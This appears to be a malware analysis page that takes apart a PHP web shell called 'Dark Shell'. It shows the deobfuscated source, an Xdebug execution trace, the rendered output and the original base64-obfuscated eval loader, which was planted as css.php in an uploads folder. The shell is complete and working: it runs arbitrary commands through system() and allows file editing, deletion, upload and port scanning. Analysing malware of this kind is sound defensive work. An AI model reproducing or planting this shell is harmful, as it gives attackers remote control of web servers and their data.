Jump to:
Screenshot
Attributes
Encoding
<html>
<head>
<title>
Dark Shell
</title>
</head>
<body>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<?php
eval /* PHPDeobfuscator eval output */ {
error_reporting(0);
set_time_limit(0);
if (empty($_GET['dir'])) {
$dir = getcwd();
} else {
$dir = $_GET['dir'];
}
chdir($dir);
$current = htmlentities($_SERVER['PHP_SELF'] . "?dir=" . $dir);
echo "<center><h1>Dark Shell</h1></center><p><hr><p>\n";
echo "<i>Server: " . $_SERVER['SERVER_NAME'] . "<br>\n";
echo "Current directory: " . getcwd() . "<br>\n";
echo "Software: " . $_SERVER['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";
echo "<pre>\n\n\n</pre>";
echo "<table width = 50%>";
echo "<tr>";
echo "<td><a href = '" . $current . "&mode=system'>Shell Command</a></td>\n";
echo "<td><a href = '" . $current . "&mode=create'>Create a new file</a></td>\n";
echo "<td><a href = '" . $current . "&mode=upload'>Upload file</a></td>\n";
echo "<td><a href = '" . $current . "&mode=port_scan'>Port Scan</a></td>\n";
echo "</tr></table>";
echo "<pre>\n\n</pre>";
$mode = $_GET['mode'];
switch ($mode) {
case 'edit':
$file = $_GET['file'];
$new = $_POST['new'];
if (empty($new)) {
$fp = fopen($file, "r");
$file_cont = fread($fp, filesize($file));
$file_cont = str_replace("</textarea>", "<textarea>", $file_cont);
echo "<form action = '" . $current . "&mode=edit&file=" . $file . "' method = 'POST'>\n";
echo "File: " . $file . "<br>\n";
echo "<textarea name = 'new' rows = '30' cols = '50'>" . $file_cont . "</textarea><br>\n";
echo "<input type = 'submit' value = 'Edit'></form>\n";
} else {
$fp = fopen($file, "w");
if (fwrite($fp, $new)) {
echo $file . " edited.<p>";
} else {
echo "Unable to edit " . $file . ".<p>";
}
}
fclose($fp);
break;
case 'delete':
$file = $_GET['file'];
if (unlink($file)) {
echo $file . " deleted successfully.<p>";
} else {
echo "Unable to delete " . $file . ".<p>";
}
break;
case 'copy':
$src = $_GET['src'];
$dst = $_POST['dst'];
if (empty($dst)) {
echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst'><br>\n";
echo "<input type = 'submit' value = 'Copy'></form>\n";
} else {
if (copy($src, $dst)) {
echo "File copied successfully.<p>\n";
} else {
echo "Unable to copy " . $src . ".<p>\n";
}
}
break;
case 'move':
$src = $_GET['src'];
$dst = $_POST['dst'];
if (empty($dst)) {
echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst'><br>\n";
echo "<input type = 'submit' value = 'Move'></form>\n";
} else {
if (rename($src, $dst)) {
echo "File moved successfully.<p>\n";
} else {
echo "Unable to move " . $src . ".<p>\n";
}
}
break;
case 'rename':
$old = $_GET['old'];
$new = $_POST['new'];
if (empty($new)) {
echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
echo "New name: <input name = 'new'><br>\n";
echo "<input type = 'submit' value = 'Rename'></form>\n";
} else {
if (rename($old, $new)) {
echo "File/Directory renamed successfully.<p>\n";
} else {
echo "Unable to rename " . $old . ".<p>\n";
}
}
break;
case 'rmdir':
$rm = $_GET['rm'];
if (rmdir($rm)) {
echo "Directory removed successfully.<p>\n";
} else {
echo "Unable to remove " . $rm . ".<p>\n";
}
break;
case 'system':
$cmd = $_POST['cmd'];
if (empty($cmd)) {
echo "<form action = '" . $current . "&mode=system' method = 'POST'>\n";
echo "Shell Command: <input name = 'cmd'>\n";
echo "<input type = 'submit' value = 'Run'></form><p>\n";
} else {
system($cmd);
}
break;
case 'create':
$new = $_POST['new'];
if (empty($new)) {
echo "<form action = '" . $current . "&mode=create' method = 'POST'>\n";
echo "<tr><td>New file: <input name = 'new'></td>\n";
echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
} else {
if ($fp = fopen($new, "w")) {
echo "File created successfully.<p>\n";
} else {
echo "Unable to create " . $file . ".<p>\n";
}
fclose($fp);
}
break;
case 'upload':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
if (empty($file)) {
echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo "<input type = 'submit' value = 'Upload'>\n";
echo "</form>\n<pre>\n\n</pre>";
} else {
if (move_uploaded_file($temp, $file)) {
echo "File uploaded successfully.<p>\n";
unlink($temp);
} else {
echo "Unable to upload " . $file . ".<p>\n";
}
}
break;
case 'port_scan':
$port_range = $_POST['port_range'];
if (empty($port_range)) {
echo "<table><form action = '" . $current . "&mode=port_scan' method = 'POST'>";
echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";
echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";
echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";
} else {
$range = explode(":", $port_range);
if (!is_numeric($range[0]) or !is_numeric($range[1])) {
echo "Bad parameters.<br>";
} else {
$host = 'localhost';
$from = $range[0];
$to = $range[1];
echo "Open ports:<br>";
while ($from <= $to) {
$var = 0;
$fp = fsockopen($host, $from) or $var = 1;
if (false) {
echo $from . "<br>";
}
$from++;
fclose($fp);
}
}
}
break;
}
clearstatcache();
echo "<pre>\n\n</pre>";
echo "<table width = 100%>\n";
$files = scandir($dir);
foreach ($files as $file) {
if (is_file($file)) {
$size = round(filesize($file) / 1024, 2);
echo "<tr><td>" . $file . "</td>";
echo "<td>" . $size . " KB</td>";
echo "<td><a href = " . $current . "&mode=edit&file=" . $file . ">Edit</a></td>\n";
echo "<td><a href = " . $current . "&mode=delete&file=" . $file . ">Delete</a></td>\n";
echo "<td><a href = " . $current . "&mode=copy&src=" . $file . ">Copy</a></td>\n";
echo "<td><a href = " . $current . "&mode=move&src=" . $file . ">Move</a></td>\n";
echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Remame</a></td></tr>\n";
} else {
$items = scandir($file);
$items_num = count($items) - 2;
echo "<tr><td>" . $file . "</td>";
echo "<td>" . $items_num . " Items</td>";
echo "<td><a href = " . $current . "/" . $file . ">Change directory</a></td>\n";
echo "<td><a href = " . $current . "&mode=rmdir&rm=" . $file . ">Remove directory</a></td>\n";
echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename directory</a></td></tr>\n";
}
}
echo "</table>\n";
};
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:52:18.493361]
1 0 1 0.000196 393512
1 3 0 0.000288 406064 {main} 1 /var/www/html/uploads/css.php 0 0
2 4 0 0.000306 406064 base64_decode 0 /var/www/html/uploads/css.php 30 1 '\r\nZXJyb3JfcmVwb3J0aW5nICgwKTsKc2V0X3RpbWVfbGltaXQgKDApOwppZiAoZW1wdHkgKCRfR0VUIFsnZGlyJ10pKXsKJGRpciA9IGdldGN3ZCAoKTsKfQplbHNlIHsKJGRpciA9ICRfR0VUIFsnZGlyJ107Cn0KY2hkaXIgKCRkaXIpOwokY3VycmVudCA9IGh0bWxlbnRpdGllcyAoJF9TRVJWRVIgWydQSFBfU0VMRiddIC4gIj9kaXI9IiAuICRkaXIpOwoKZWNobyAiPGNlbnRlcj48aDE+RGFyayBTaGVsbDwvaDE+PC9jZW50ZXI+PHA+PGhyPjxwPlxuIjsKZWNobyAiPGk+U2VydmVyOiAiIC4gJF9TRVJWRVIgWydTRVJWRVJfTkFNRSddIC4gIjxicj5cbiI7CmVjaG8gIkN1cnJlbnQgZGlyZWN0b3J5OiAiIC4gZ2V0Y3dkICgpIC4gIjxicj5cbiI7CmVjaG8gIlNvZnR3YXJl'
2 4 1 0.000362 418384
2 4 R 'error_reporting (0);\nset_time_limit (0);\nif (empty ($_GET [\'dir\'])){\n$dir = getcwd ();\n}\nelse {\n$dir = $_GET [\'dir\'];\n}\nchdir ($dir);\n$current = htmlentities ($_SERVER [\'PHP_SELF\'] . "?dir=" . $dir);\n\necho "<center><h1>Dark Shell</h1></center><p><hr><p>\\n";\necho "<i>Server: " . $_SERVER [\'SERVER_NAME\'] . "<br>\\n";\necho "Current directory: " . getcwd () . "<br>\\n";\necho "Software: " . $_SERVER [\'SERVER_SOFTWARE\'] . "<pre>\\n\\n</pre></i>\\n";\necho "<pre>\\n\\n\\n</pre>";\n\necho "'
2 5 0 0.000626 455504 eval 1 'error_reporting (0);\nset_time_limit (0);\nif (empty ($_GET [\'dir\'])){\n$dir = getcwd ();\n}\nelse {\n$dir = $_GET [\'dir\'];\n}\nchdir ($dir);\n$current = htmlentities ($_SERVER [\'PHP_SELF\'] . "?dir=" . $dir);\n\necho "<center><h1>Dark Shell</h1></center><p><hr><p>\\n";\necho "<i>Server: " . $_SERVER [\'SERVER_NAME\'] . "<br>\\n";\necho "Current directory: " . getcwd () . "<br>\\n";\necho "Software: " . $_SERVER [\'SERVER_SOFTWARE\'] . "<pre>\\n\\n</pre></i>\\n";\necho "<pre>\\n\\n\\n</pre>";\n\necho "<table width = 50%>";\necho "<tr>";\necho "<td><a href = \'".$current."&mode=system\'>Shell Command</a></td>\\n";\necho "<td><a href = \'".$current."&mode=create\'>Create a new file</a></td>\\n";\necho "<td><a href = \'".$current."&mode=upload\'>Upload file</a></td>\\n";\necho "<td><a href = \'".$current."&mode=port_scan\'>Port Scan</a></td>\\n";\necho "</tr></table>";\necho "<pre>\\n\\n</pre>";\n\n\n\n$mode = $_GET [\'mode\'];\nswitch ($mode){\ncase \'edit\':\n$file = $_GET [\'file\'];\n$new = $_POST [\'new\'];\nif (empty ($new)){\n$fp = fopen ($file, "r");\n$file_cont = fread ($fp, filesize ($file));\n$file_cont = str_replace ("</textarea>", "<textarea>", $file_cont);\necho "<form action = \'".$current."&mode=edit&file=".$file."\' method = \'POST\'>\\n";\necho "File: ". $file . "<br>\\n";\necho "<textarea name = \'new\' rows = \'30\' cols = \'50\'>".$file_cont."</textarea><br>\\n";\necho "<input type = \'submit\' value = \'Edit\'></form>\\n";\n}\nelse {\n$fp = fopen ($file, "w");\nif (fwrite ($fp, $new)){\necho $file . " edited.<p>";\n}\nelse {\necho "Unable to edit " . $file . ".<p>";\n}\n}\nfclose ($fp);\nbreak;\ncase \'delete\':\n$file = $_GET [\'file\'];\nif (unlink ($file)){\necho $file . " deleted successfully.<p>";\n}\nelse {\necho "Unable to delete " . $file . ".<p>";\n}\nbreak;\ncase \'copy\':\n$src = $_GET [\'src\'];\n$dst = $_POST [\'dst\'];\nif (empty ($dst)){\necho "<form action = \'".$current . "&mode=copy&src=" . $src . "\' method = \'POST\'>\\n";\necho "Destination: <input name = \'dst\'><br>\\n";\necho "<input type = \'submit\' value = \'Copy\'></form>\\n";\n}\nelse {\nif (copy ($src, $dst)){\necho "File copied successfully.<p>\\n";\n}\nelse {\necho "Unable to copy " . $src . ".<p>\\n";\n}\n}\nbreak;\ncase \'move\':\n$src = $_GET [\'src\'];\n$dst = $_POST [\'dst\'];\nif (empty ($dst)){\necho "<form action = \'".$current . "&mode=move&src=" . $src . "\' method = \'POST\'>\\n";\necho "Destination: <input name = \'dst\'><br>\\n";\necho "<input type = \'submit\' value = \'Move\'></form>\\n";\n}\nelse {\nif (rename ($src, $dst)){\necho "File moved successfully.<p>\\n";\n}\nelse {\necho "Unable to move " . $src . ".<p>\\n";\n}\n}\nbreak;\ncase \'rename\':\n$old = $_GET [\'old\'];\n$new = $_POST [\'new\'];\nif (empty ($new)){\necho "<form action = \'".$current . "&mode=rename&old=" . $old . "\' method = \'POST\'>\\n";\necho "New name: <input name = \'new\'><br>\\n";\necho "<input type = \'submit\' value = \'Rename\'></form>\\n";\n}\nelse {\nif (rename ($old, $new)){\necho "File/Directory renamed successfully.<p>\\n";\n}\nelse {\necho "Unable to rename " . $old . ".<p>\\n";\n}\n}\nbreak;\n\ncase \'rmdir\':\n$rm = $_GET [\'rm\'];\nif (rmdir ($rm)){\necho "Directory removed successfully.<p>\\n";\n}\nelse {\necho "Unable to remove " . $rm . ".<p>\\n";\n}\nbreak;\ncase \'system\':\n$cmd = $_POST [\'cmd\'];\nif (empty ($cmd)){\necho "<form action = \'".$current . "&mode=system\' method = \'POST\'>\\n";\necho "Shell Command: <input name = \'cmd\'>\\n";\necho "<input type = \'submit\' value = \'Run\'></form><p>\\n";\n}\nelse {\nsystem ($cmd);\n}\nbreak;\ncase \'create\':\n$new = $_POST [\'new\'];\nif (empty ($new)){\necho "<form action = \'".$current . "&mode=create\' method = \'POST\'>\\n";\necho "<tr><td>New file: <input name = \'new\'></td>\\n";\necho "<td><input type = \'submit\' value = \'Create\'></td></tr></form>\\n<p>";\n}\nelse {\nif ($fp = fopen ($new, "w")){\necho "File created successfully.<p>\\n";\n}\nelse {\necho "Unable to create ".$file.".<p>\\n";\n}\nfclose ($fp);\n}\nbreak;\ncase \'upload\':\n$temp = $_FILES[\'upload_file\'][\'tmp_name\'];\n$file = basename($_FILES[\'upload_file\'][\'name\']);\nif (empty ($file)){\necho "<form action = \'".$current . "&mode=upload\' method = \'POST\' ENCTYPE=\'multipart/form-data\'>\\n";\necho "Local file: <input type = \'file\' name = \'upload_file\'>\\n";\necho "<input type = \'submit\' value = \'Upload\'>\\n";\necho "</form>\\n<pre>\\n\\n</pre>";\n}\nelse {\nif(move_uploaded_file($temp,$file)){\necho "File uploaded successfully.<p>\\n";\nunlink ($temp);\n}\nelse {\necho "Unable to upload " . $file . ".<p>\\n";\n}\n}\nbreak;\n\ncase \'port_scan\':\n$port_range = $_POST [\'port_range\'];\nif (empty ($port_range)){\necho "<table><form action = \'".$current. "&mode=port_scan\' method = \'POST\'>";\necho "<tr><td><input type = \'text\' name = \'port_range\'></td><td>";\necho "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";\necho "<tr><td><input type = \'submit\' value = \'Port Scan\'></td></tr></form></table>";\n}\nelse {\n$range = explode (":", $port_range);\nif ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){\necho "Bad parameters.<br>";\n}\nelse {\n$host = \'localhost\';\n$from = $range [0];\n$to = $range [1];\necho "Open ports:<br>";\nwhile ($from <= $to){\n$var = 0;\n$fp = fsockopen ($host, $from) or $var = 1;\nif ($var == 0){\necho $from . "<br>";\n}\n$from++;\nfclose ($fp);\n}\n}\n}\nbreak;\n\n\n}\n\nclearstatcache ();\n\necho "<pre>\\n\\n</pre>";\necho "<table width = 100%>\\n";\n$files = scandir ($dir);\nforeach ($files as $file){\nif (is_file ($file)){\n\n$size = round (filesize ($file) / 1024, 2);\necho "<tr><td>".$file."</td>";\necho "<td>".$size." KB</td>";\necho "<td><a href = ".$current . "&mode=edit&file=".$file.">Edit</a></td>\\n";\necho "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>\\n";\necho "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>\\n";\necho "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>\\n";\necho "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>\\n";\n}\nelse {\n$items = scandir ($file);\n$items_num = count ($items) - 2;\necho "<tr><td>".$file."</td>";\necho "<td>".$items_num." Items</td>";\necho "<td><a href = ".$current . "/" . $file.">Change directory</a></td>\\n";\necho "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>\\n";\necho "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>\\n";\n}\n}\necho "</table>\\n";\n' /var/www/html/uploads/css.php 30 0
3 6 0 0.000778 455504 error_reporting 0 /var/www/html/uploads/css.php(30) : eval()'d code 1 1 0
3 6 1 0.000794 455544
3 6 R 22527
3 7 0 0.000809 455504 set_time_limit 0 /var/www/html/uploads/css.php(30) : eval()'d code 2 1 0
3 7 1 0.000826 455568
3 7 R FALSE
3 8 0 0.000841 455536 getcwd 0 /var/www/html/uploads/css.php(30) : eval()'d code 4 0
3 8 1 0.000856 455584
3 8 R '/var/www/html/uploads'
2 A /var/www/html/uploads/css.php(30) : eval()'d code 4 $dir = '/var/www/html/uploads'
3 9 0 0.000885 455584 chdir 0 /var/www/html/uploads/css.php(30) : eval()'d code 9 1 '/var/www/html/uploads'
3 9 1 0.000902 455672
3 9 R TRUE
3 10 0 0.000917 455712 htmlentities 0 /var/www/html/uploads/css.php(30) : eval()'d code 10 1 '/uploads/css.php?dir=/var/www/html/uploads'
3 10 1 0.000936 455904
3 10 R '/uploads/css.php?dir=/var/www/html/uploads'
2 A /var/www/html/uploads/css.php(30) : eval()'d code 10 $current = '/uploads/css.php?dir=/var/www/html/uploads'
3 11 0 0.000966 455792 getcwd 0 /var/www/html/uploads/css.php(30) : eval()'d code 14 0
3 11 1 0.000979 455840
3 11 R '/var/www/html/uploads'
2 A /var/www/html/uploads/css.php(30) : eval()'d code 29 $mode = NULL
3 12 0 0.001011 455792 clearstatcache 0 /var/www/html/uploads/css.php(30) : eval()'d code 206 0
3 12 1 0.001024 455792
3 12 R NULL
3 13 0 0.001038 455792 scandir 0 /var/www/html/uploads/css.php(30) : eval()'d code 210 1 '/var/www/html/uploads'
3 13 1 0.001079 456408
3 13 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'css.php', 4 => 'data', 5 => 'prepend.php']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 210 $files = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'css.php', 4 => 'data', 5 => 'prepend.php']
3 14 0 0.001119 456376 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 '.'
3 14 1 0.001135 456424
3 14 R FALSE
3 15 0 0.001148 456384 scandir 0 /var/www/html/uploads/css.php(30) : eval()'d code 224 1 '.'
3 15 1 0.001171 457000
3 15 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'css.php', 4 => 'data', 5 => 'prepend.php']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 224 $items = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'css.php', 4 => 'data', 5 => 'prepend.php']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 225 $items_num = 4
3 16 0 0.001222 456968 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 '..'
3 16 1 0.001237 457008
3 16 R FALSE
3 17 0 0.001251 456968 scandir 0 /var/www/html/uploads/css.php(30) : eval()'d code 224 1 '..'
3 17 1 0.001274 457472
3 17 R [0 => '.', 1 => '..', 2 => 'uploads']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 224 $items = [0 => '.', 1 => '..', 2 => 'uploads']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 225 $items_num = 1
3 18 0 0.001318 456856 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 '.htaccess'
3 18 1 0.001333 456904
3 18 R TRUE
3 19 0 0.001347 456864 filesize 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 1 '.htaccess'
3 19 1 0.001361 456904
3 19 R 64
3 20 0 0.001373 456864 round 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 2 0.0625 2
3 20 1 0.001388 456936
3 20 R 0.06
2 A /var/www/html/uploads/css.php(30) : eval()'d code 214 $size = 0.06
3 21 0 0.001415 456864 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 'css.php'
3 21 1 0.001430 456896
3 21 R TRUE
3 22 0 0.001443 456856 filesize 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 1 'css.php'
3 22 1 0.001457 456896
3 22 R 8585
3 23 0 0.001469 456856 round 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 2 8.3837890625 2
3 23 1 0.001483 456928
3 23 R 8.38
2 A /var/www/html/uploads/css.php(30) : eval()'d code 214 $size = 8.38
3 24 0 0.001510 456856 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 'data'
3 24 1 0.001525 456896
3 24 R FALSE
3 25 0 0.001537 456856 scandir 0 /var/www/html/uploads/css.php(30) : eval()'d code 224 1 'data'
3 25 1 0.001562 457384
3 25 R [0 => '.', 1 => '..', 2 => 'trace-1676260312.5955.xt.gz']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 224 $items = [0 => '.', 1 => '..', 2 => 'trace-1676260312.5955.xt.gz']
2 A /var/www/html/uploads/css.php(30) : eval()'d code 225 $items_num = 1
3 26 0 0.001609 456880 is_file 0 /var/www/html/uploads/css.php(30) : eval()'d code 212 1 'prepend.php'
3 26 1 0.001625 456928
3 26 R TRUE
3 27 0 0.001638 456888 filesize 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 1 'prepend.php'
3 27 1 0.001652 456928
3 27 R 57
3 28 0 0.001664 456888 round 0 /var/www/html/uploads/css.php(30) : eval()'d code 214 2 0.0556640625 2
3 28 1 0.001678 456960
3 28 R 0.06
2 A /var/www/html/uploads/css.php(30) : eval()'d code 214 $size = 0.06
2 5 1 0.001707 456888
1 3 1 0.001719 416688
0.001760 323968
TRACE END [2023-02-13 01:52:18.494969]
<html><head>
<title>
Dark Shell
</title>
</head>
<body>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<center><h1>Dark Shell</h1></center><p></p><hr><p>
<i>Server: localhost<br>
Current directory: /var/www/html<br>
Software: Apache/2.4.52 (Ubuntu)</i></p><pre><i>
</i></pre>
<pre>
</pre><table width="50%"><tbody><tr><td><a href="/css.php?dir=/var/www/html&mode=system">Shell Command</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=create">Create a new file</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=upload">Upload file</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=port_scan">Port Scan</a></td>
</tr></tbody></table><pre>
</pre><pre>
</pre><table width="100%">
<tbody><tr><td>.</td><td>2 Items</td><td><a href="/css.php?dir=/var/www/html/.">Change directory</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rmdir&rm=.">Remove directory</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rename&old=.">Rename directory</a></td></tr>
<tr><td>..</td><td>4 Items</td><td><a href="/css.php?dir=/var/www/html/..">Change directory</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rmdir&rm=..">Remove directory</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rename&old=..">Rename directory</a></td></tr>
<tr><td>beneri.se_malware_analysis</td><td>0 KB</td><td><a href="/css.php?dir=/var/www/html&mode=edit&file=beneri.se_malware_analysis">Edit</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=delete&file=beneri.se_malware_analysis">Delete</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=copy&src=beneri.se_malware_analysis">Copy</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=move&src=beneri.se_malware_analysis">Move</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rename&old=beneri.se_malware_analysis">Remame</a></td></tr>
<tr><td>css.php</td><td>8.38 KB</td><td><a href="/css.php?dir=/var/www/html&mode=edit&file=css.php">Edit</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=delete&file=css.php">Delete</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=copy&src=css.php">Copy</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=move&src=css.php">Move</a></td>
<td><a href="/css.php?dir=/var/www/html&mode=rename&old=css.php">Remame</a></td></tr>
</tbody></table>
</body></html>
<html>
<head>
<title>
Dark Shell
</title>
</head>
<body>
<style type="text/css">
body{
background: #E4E4E4;
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<?php
eval(base64_decode('
ZXJyb3JfcmVwb3J0aW5nICgwKTsKc2V0X3RpbWVfbGltaXQgKDApOwppZiAoZW1wdHkgKCRfR0VUIFsnZGlyJ10pKXsKJGRpciA9IGdldGN3ZCAoKTsKfQplbHNlIHsKJGRpciA9ICRfR0VUIFsnZGlyJ107Cn0KY2hkaXIg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